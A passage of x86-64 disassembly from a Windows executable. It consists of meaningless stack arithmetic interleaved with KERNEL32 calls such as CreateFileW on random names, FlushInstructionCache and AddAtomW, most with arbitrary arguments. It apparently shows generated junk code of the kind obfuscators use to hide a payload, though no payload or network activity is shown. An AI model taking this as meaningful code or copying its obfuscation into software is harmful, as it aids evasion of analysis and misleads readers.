and eax, ecx
mov word [rsp + 0x1510], ax
movzx eax, byte [rsp + 0x730]
movzx ecx, byte [rsp + 0x6f5]
and eax, ecx
mov rcx, qword [rsp + 0x13368]
mov byte [rcx], al
lea rax, [rsp + 0x9570]
mov qword [rsp + 0x16318], rax
mov r9d, 0x1b74
xor r8d, r8d
lea rdx, [rsp + 0x15f40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa7bc], eax
mov eax, dword [rsp + 0xa884]
mov ecx, dword [rsp + 0x67e4]
add ecx, eax
mov eax, ecx
mov dword [0x140363b08], eax
mov rax, qword [rsp + 0x13be8]
mov rcx, qword [rsp + 0x15788]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d18], eax
lea rax, [0x140363bfc]
mov qword [rsp + 0x16320], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.HRwbjFJbf_t5BNdrgQN3mmXL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16328], rax
mov rax, qword [rsp + 0x138f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x152a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d44]
sub eax, ecx
mov rcx, qword [rsp + 0x13f78]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rax, [0x14035e4d4]
mov qword [rsp + 0x16330], rax
mov rax, qword [rsp + 0x15448]
mov ecx, dword [rsp + 0xa9b0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15da0]
mov dword [rcx], eax
lea rax, [rsp + 0xac70]
mov qword [rsp + 0x16338], rax
mov eax, dword [rsp + 0xaed8]
mov ecx, dword [0x140363a60]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x80d0], eax
mov rax, qword [rsp + 0x14100]
mov rcx, qword [rsp + 0x14070]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14035cca8], eax
movzx eax, byte [rsp + 0x708]
mov rcx, qword [rsp + 0x14ab8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x15460]
mov byte [rcx], al
lea rax, [rsp + 0x2ca8]
mov qword [rsp + 0x16340], rax
mov rax, qword [rsp + 0x14140]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bd0]
shl eax, cl
mov word [rsp + 0x2344], ax
lea rcx, [rsp + 0x41ad8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x4e3]
mov qword [rsp + 0x16348], rax
mov eax, dword [rsp + 0x97f8]
movzx ecx, al
mov eax, dword [0x140363d24]
shr eax, cl
mov rcx, qword [rsp + 0x153c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16250]
mov eax, dword [rax]
mov dword [rsp + 0xb1c0], eax
movzx eax, word [rsp + 0x2ac4]
movzx ecx, word [rsp + 0x2c48]
and eax, ecx
mov word [rsp + 0x2a58], ax
mov rax, qword [rsp + 0x14048]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x737]
sub eax, ecx
mov byte [rsp + 0x6ed], al
mov rax, qword [rsp + 0x16080]
mov rcx, qword [rsp + 0x15300]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140363e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadf4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a2c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x14438]
mov ecx, dword [rsp + 0x8904]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14c60]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3410
mov r9d, 0x718
mov r8d, 0x437ab915
mov edx, 1
mov rcx, qword [rsp + 0x14c48]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xb1c4], eax
mov rax, qword [rsp + 0x136b0]
mov eax, dword [rax]
mov dword [rsp + 0xb1c8], eax
movzx eax, word [rsp + 0x2aa8]
mov rcx, qword [rsp + 0x14820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b28], ax
movzx eax, byte [rsp + 0x6cd]
movzx ecx, byte [rsp + 0x63f]
sub eax, ecx
mov rcx, qword [rsp + 0x15930]
mov byte [rcx], al
lea rax, [rsp + 0x841c]
mov qword [rsp + 0x16350], rax
mov rax, qword [0x140363cb0]
mov rcx, qword [rsp + 0x14ef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xabf0], eax
mov rax, qword [rsp + 0x133d8]
mov eax, dword [rax]
mov dword [rsp + 0xb1cc], eax
lea rax, [rsp + 0x8224]
mov qword [0x1403640e8], rax
mov rax, qword [rsp + 0x13ad8]
mov ecx, dword [rsp + 0x7124]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15450]
mov dword [rcx], eax
mov rax, qword [rsp + 0x149d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15360]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a04], ax
mov rax, qword [rsp + 0x14990]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x143e8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x288], al
mov rax, qword [0x1403640a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42a]
xor eax, ecx
mov byte [rsp + 0x3bb], al
mov rax, qword [rsp + 0x135f8]
movzx eax, word [rax]
mov word [rsp + 0x2dd0], ax
mov rax, qword [rsp + 0x147f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6288]
shl eax, cl
mov rcx, qword [rsp + 0x13450]
mov dword [rcx], eax
lea rax, [rsp + 0x7a7c]
mov qword [rsp + 0x16358], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx eax, word [rsp + 0x200c]
mov rcx, qword [rsp + 0x15d58]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13e98]
mov word [rcx], ax
lea rax, [rsp + 0x70a]
mov qword [0x1403640f0], rax
mov eax, dword [rsp + 0x9c08]
mov ecx, dword [rsp + 0xa9dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac54], eax
lea rax, [rsp + 0xa98c]
mov qword [rsp + 0x16360], rax
mov rax, qword [rsp + 0x14c60]
mov ecx, dword [rsp + 0x6b2c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13be0]
mov eax, dword [rax]
mov ecx, dword [0x140363de4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b0c], eax
mov rax, qword [rsp + 0x15b70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13fe8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xbb], al
movzx eax, word [rsp + 0x29f0]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29e4], ax
lea rax, [rsp + 0x7c24]
mov qword [rsp + 0x16368], rax
mov r9d, 0x1878
xor r8d, r8d
lea rdx, [rsp + 0x13de8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xad48], eax
mov rax, qword [rsp + 0x13aa8]
mov rcx, qword [rsp + 0x13ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x80c8], eax
movsx eax, word [0x14035cc94]
movsx ecx, word [rsp + 0x2320]
sub eax, ecx
mov word [0x14035cc20], ax
lea rax, [rsp + 0x238]
mov qword [rsp + 0x16370], rax
mov rax, qword [rsp + 0x14e48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e64]
sub eax, ecx
mov rcx, qword [rsp + 0x15fd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x154a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb4]
add eax, ecx
mov rcx, qword [rsp + 0x14630]
mov byte [rcx], al
lea rax, [rsp + 0xae08]
mov qword [rsp + 0x16378], rax
xor r9d, r9d
lea r8, [rsp + 0x14430]
mov rdx, qword [rsp + 0x14220]
mov rcx, qword [rsp + 0x15280]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb1d0], eax
mov eax, dword [rsp + 0xb178]
mov ecx, dword [rsp + 0xaa08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xafe0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [0x140363fa0]
mov eax, dword [rax]
mov dword [rsp + 0xb1d4], eax
mov eax, dword [rsp + 0x6650]
mov ecx, dword [rsp + 0x8ce0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9510], eax
mov eax, dword [rsp + 0xacc4]
mov ecx, dword [rsp + 0x8ce0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132e0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xabd0], eax
lea rax, [rsp + 0x2ae4]
mov qword [rsp + 0x16380], rax
movzx eax, byte [rsp + 0x24b]
mov rcx, qword [rsp + 0x14620]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14035e4f7], al
mov eax, dword [rsp + 0x6534]
mov ecx, dword [rsp + 0xa938]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ac8]
mov dword [rcx], eax
lea rax, [rsp + 0x9a60]
mov qword [rsp + 0x16388], rax
mov rax, qword [rsp + 0x14df0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x145e0]
mov qword [rsp + 0x16390], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16390]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6824], eax
lea rcx, [rsp + 0x41ec8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x16398], rax
lea rax, [rsp + 0x8780]
mov qword [rsp + 0x163a0], rax
movzx eax, byte [0x14035e505]
movzx ecx, byte [rsp + 0x22a]
or eax, ecx
mov rcx, qword [rsp + 0x14b40]
mov byte [rcx], al
movzx eax, word [rsp + 0x2888]
mov rcx, qword [rsp + 0x14ae0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x29b4], ax
lea rax, [rsp + 0x6bd]
mov qword [rsp + 0x163a8], rax
mov rax, qword [rsp + 0x15e90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13348]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x160d8]
mov word [rcx], ax
mov eax, dword [rsp + 0xb020]
mov dword [0x1403640bc], eax
lea rdx, [rsp + 0x45b60]
mov rcx, qword [rsp + 0x14218]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacbc], eax
mov eax, dword [rsp + 0xa95c]
mov dword [rsp + 0xb1d8], eax
movzx eax, word [rsp + 0x2d2c]
mov rcx, qword [rsp + 0x14718]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15d58]
mov word [rcx], ax
movzx eax, byte [rsp + 0x562]
movzx ecx, byte [rsp + 0x6cd]
or eax, ecx
mov byte [rsp + 0x6c9], al
lea rax, [rsp + 0xae78]
mov qword [rsp + 0x163b0], rax
mov rax, qword [rsp + 0x14be8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad14], eax
mov eax, dword [rsp + 0xa91c]
mov ecx, dword [rsp + 0x9374]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x93e0], eax
mov rax, qword [rsp + 0x16358]
mov rcx, qword [0x140363ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa60c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.7ydm5R_rklcREM12YEOvdZ_rbvJy53tqLP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x163b8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaeb0], eax
mov rax, qword [rsp + 0x13208]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d8c]
sub eax, ecx
mov word [rsp + 0x2b6c], ax
movzx eax, byte [rsp + 0x3bb]
mov rcx, qword [rsp + 0x15208]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1403535cf], al
lea rax, [rsp + 0xb014]
mov qword [rsp + 0x163c0], rax
mov eax, dword [rsp + 0x8428]
mov rcx, qword [rsp + 0x13760]
mov qword [rsp + 0x163c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x163c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x15f10]
mov dword [rcx], eax
lea rax, [rsp + 0x8638]
mov qword [rsp + 0x163d0], rax
lea rdx, [rsp + 0x141f0]
mov rcx, qword [rsp + 0x16068]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xab88], eax
mov rax, qword [0x140363ad0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xabdc]
sar eax, cl
mov dword [rsp + 0x9a08], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.E3WpzycRqBQDmsw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x163d8], rax
mov rax, qword [rsp + 0x163d0]
mov rcx, qword [rsp + 0x13da8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7e8c], eax
movzx eax, byte [rsp + 0x4e3]
mov byte [rsp + 0x748], al
movsx eax, word [rsp + 0x2b88]
movsx ecx, word [0x140363124]
or eax, ecx
mov rcx, qword [rsp + 0x155f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c0]
and eax, ecx
mov word [rsp + 0x124c], ax
movzx eax, byte [rsp + 0x70a]
movzx ecx, byte [rsp + 0x53b]
sub eax, ecx
mov byte [0x14035e4d5], al
mov rax, qword [rsp + 0x16280]
mov ecx, dword [rsp + 0x7b5c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15f08]
mov dword [rcx], eax
mov eax, dword [rsp + 0xae2c]
mov dword [rsp + 0xb1dc], eax
mov rax, qword [rsp + 0x144a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15a58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15440]
mov word [rcx], ax
mov rax, qword [rsp + 0x15508]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x155c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x676], al
lea rax, [rsp + 0xaa28]
mov qword [rsp + 0x163e0], rax
mov rax, qword [rsp + 0x137d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae70]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x162b0]
mov dword [rcx], eax
lea rax, [rsp + 0x8b3c]
mov qword [rsp + 0x163e8], rax
lea rdx, [rsp + 0x13058]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb18c], eax
mov rax, qword [rsp + 0x150c0]
mov ecx, dword [rsp + 0x8af8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15928]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1148]
movzx ecx, word [0x140362e3c]
add eax, ecx
mov word [0x140362f3c], ax
mov rax, qword [rsp + 0x156e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4bc]
and eax, ecx
mov rcx, qword [rsp + 0x14570]
mov byte [rcx], al
mov eax, dword [rsp + 0xb190]
mov ecx, dword [rsp + 0xae64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8404], eax
mov rax, qword [rsp + 0x14ab0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13c68]
mov qword [rsp + 0x163f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x163f0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x15e78]
mov dword [rcx], eax
lea rax, [rsp + 0x2c50]
mov qword [rsp + 0x163f8], rax
movsx eax, byte [rsp + 0x53a]
movsx ecx, byte [rsp + 0x4ff]
shl eax, cl
mov rcx, qword [rsp + 0x14030]
mov byte [rcx], al
movzx eax, word [rsp + 0x2a88]
mov rcx, qword [rsp + 0x153b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2da0], ax
movzx eax, byte [rsp + 0x43d]
mov byte [rsp + 0x749], al
mov rax, qword [rsp + 0x15780]
mov ecx, dword [0x14035cc10]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb1bc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [rsp + 0x8374]
mov dword [0x1403640f8], eax
lea rax, [rsp + 0x6600]
mov qword [rsp + 0x16400], rax
mov eax, dword [rsp + 0x8dc4]
mov ecx, dword [rsp + 0xb090]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xad14], eax
lea rax, [0x14035cbf8]
mov qword [rsp + 0x16408], rax
mov rax, qword [rsp + 0x14cf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x722]
sub eax, ecx
mov byte [rsp + 0x118], al
movzx eax, word [rsp + 0x180c]
movzx ecx, word [rsp + 0x2b64]
add eax, ecx
mov rcx, qword [rsp + 0x14558]
mov word [rcx], ax
lea rax, [rsp + 0xa49c]
mov qword [rsp + 0x16410], rax
mov rax, qword [rsp + 0x14468]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8dbc], eax
lea rax, [rsp + 0xaa40]
mov qword [rsp + 0x16418], rax
mov eax, dword [rsp + 0xb1b0]
mov ecx, dword [rsp + 0x9d18]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363f98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15620]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d3]
sub eax, ecx
mov rcx, qword [rsp + 0x13670]
mov byte [rcx], al
mov rax, qword [rsp + 0x14418]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bc8]
or eax, ecx
mov rcx, qword [rsp + 0x14d18]
mov word [rcx], ax
lea rax, [rsp + 0x28f]
mov qword [rsp + 0x16420], rax
movsx eax, word [rsp + 0x2aec]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1784], ax
mov eax, dword [rsp + 0x874c]
mov dword [rsp + 0xb1e0], eax
mov rax, qword [rsp + 0x13ff8]
mov ecx, dword [rsp + 0x8840]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14ca0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x144f8]
mov word [rcx], ax
mov rax, qword [0x1403640a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f3]
xor eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x143f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x156b8]
mov qword [rsp + 0x16428], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16428]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14035ccac], eax
mov eax, dword [rsp + 0x8224]
mov rcx, qword [rsp + 0x14900]
mov qword [rsp + 0x16430], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16430]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xac4c], eax
lea rax, [rsp + 0x86a8]
mov qword [rsp + 0x16438], rax
mov rax, qword [rsp + 0x132c0]
mov ecx, dword [rsp + 0xaac8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15fb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x153a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15430]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6f3], al
mov rax, qword [rsp + 0x15d80]
movzx eax, word [rax]
mov word [rsp + 0x2dd4], ax
mov rax, qword [rsp + 0x13da8]
mov ecx, dword [rsp + 0xa684]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7780], eax
mov rax, qword [0x140363c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9700], eax
mov rax, qword [rsp + 0x145c0]
mov ecx, dword [rsp + 0x8664]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x162d8]
mov dword [rcx], eax
lea rax, [rsp + 0xabbc]
mov qword [0x140364100], rax
mov eax, dword [rsp + 0x7780]
mov dword [rsp + 0xb1e4], eax
movsx eax, word [rsp + 0x235c]
movsx ecx, word [rsp + 0x197c]
add eax, ecx
mov rcx, qword [rsp + 0x15c98]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6da]
mov rcx, qword [rsp + 0x15b38]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15538]
mov byte [rcx], al
movzx eax, word [rsp + 0x251c]
mov word [rsp + 0x2dd8], ax
movzx eax, byte [rsp + 0x5bb]
mov rcx, qword [rsp + 0x14b40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2e7], al
lea rax, [rsp + 0x7118]
mov qword [rsp + 0x16440], rax
mov rax, qword [rsp + 0x16410]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x93e0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1a0], eax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x592]
add eax, ecx
mov rcx, qword [rsp + 0x156e0]
mov byte [rcx], al
lea rcx, str.ColuxTTDiF
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ddc], ax
movzx eax, word [rsp + 0x2d24]
movzx ecx, word [rsp + 0x16dc]
sar eax, cl
mov rcx, qword [0x140363b00]
mov word [rcx], ax
mov eax, dword [rsp + 0x6304]
mov ecx, dword [0x140363bf8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ae0], eax
mov eax, dword [rsp + 0xad5c]
mov rcx, qword [rsp + 0x14460]
mov qword [rsp + 0x16448], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16448]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaa40], eax
mov rax, qword [rsp + 0x13380]
mov eax, dword [rax]
mov dword [rsp + 0xb1e8], eax
mov eax, dword [rsp + 0x7078]
mov ecx, dword [0x14035cc30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xabfc], eax
mov rax, qword [rsp + 0x149a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6fc]
sub eax, ecx
mov byte [rsp + 0x709], al
movzx eax, word [0x140362f84]
movzx ecx, word [rsp + 0x1cb4]
or eax, ecx
mov word [rsp + 0x21dc], ax
mov rax, qword [rsp + 0x14c30]
mov rcx, qword [rsp + 0x15f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa350], eax
movzx ecx, word [rsp + 0x2b7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b68], ax
lea rax, [rsp + 0x6ed4]
mov qword [rsp + 0x16450], rax
mov rax, qword [0x1403640d0]
movzx eax, word [rax]
mov word [0x1403631dc], ax
movsx eax, byte [rsp + 0x71f]
mov rcx, qword [rsp + 0x15510]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6d8], al
lea rax, [rsp + 0x2a58]
mov qword [rsp + 0x16458], rax
mov r9d, 1
lea r8, [rsp + 0x14de0]
mov rdx, qword [rsp + 0x16460]
mov rcx, qword [rsp + 0x14130]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xad54], eax
movzx eax, byte [rsp + 0x434]
mov rcx, qword [0x140363c10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x13a78]
mov ecx, dword [rsp + 0x9e54]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15848]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15ed8]
mov eax, dword [rax]
mov dword [rsp + 0xb1ec], eax
mov eax, dword [0x140363a64]
mov ecx, dword [rsp + 0xac84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0d4], eax
mov rax, qword [rsp + 0x14c60]
mov eax, dword [rax]
mov dword [rsp + 0xb1f0], eax
mov eax, dword [rsp + 0xb0f0]
mov ecx, dword [rsp + 0xab2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x162a0]
mov dword [rcx], eax
lea rdx, [rsp + 0x45f50]
mov rcx, qword [rsp + 0x14918]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xad84], eax
mov rax, qword [rsp + 0x15a70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15c68]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x152a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51b]
or eax, ecx
mov byte [0x1403535bb], al
lea rax, [rsp + 0xaeb4]
mov qword [rsp + 0x16468], rax
mov rax, qword [rsp + 0x14c30]
mov rcx, qword [rsp + 0x14e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15358]
mov dword [rcx], eax
lea rax, [rsp + 0xaa14]
mov qword [rsp + 0x16470], rax
mov rax, qword [rsp + 0x15f28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9838]
shl eax, cl
mov rcx, qword [rsp + 0x156b8]
mov dword [rcx], eax
movzx eax, word [0x140363184]
mov rcx, qword [rsp + 0x15860]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x15908]
mov word [rcx], ax
movzx eax, byte [rsp + 0x70b]
mov rcx, qword [rsp + 0x14bf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x353], al
movsx eax, word [rsp + 0x2c08]
movsx ecx, word [0x14035cc94]
and eax, ecx
mov rcx, qword [rsp + 0x155f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x132b8]
movzx eax, byte [rax]
mov byte [rsp + 0x74a], al
lea rax, [rsp + 0xafa0]
mov qword [0x140364108], rax
mov rax, qword [rsp + 0x146a8]
mov rcx, qword [0x140363f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13bd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x159d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e4]
or eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x149d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bac]
sub eax, ecx
mov word [rsp + 0x1b0c], ax
mov rax, qword [rsp + 0x15700]
mov ecx, dword [rsp + 0x82e8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e84], eax
lea rax, [rsp + 0x7bf0]
mov qword [rsp + 0x16478], rax
mov rax, qword [rsp + 0x143a0]
mov ecx, dword [rsp + 0x62d0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15198]
mov dword [rcx], eax
mov eax, dword [0x140363d84]
mov dword [rsp + 0xb1f4], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15860]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x145f8]
mov word [rcx], ax
lea rcx, [0x140331698]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2de0], ax
movzx eax, byte [rsp + 0x592]
movzx ecx, byte [rsp + 0x6d4]
add eax, ecx
mov rcx, qword [0x140363970]
mov byte [rcx], al
mov eax, dword [rsp + 0x8620]
mov ecx, dword [0x140363de4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1bc], eax
mov rax, qword [rsp + 0x15998]
mov ecx, dword [rsp + 0x82e8]
mov eax, dword [rax]
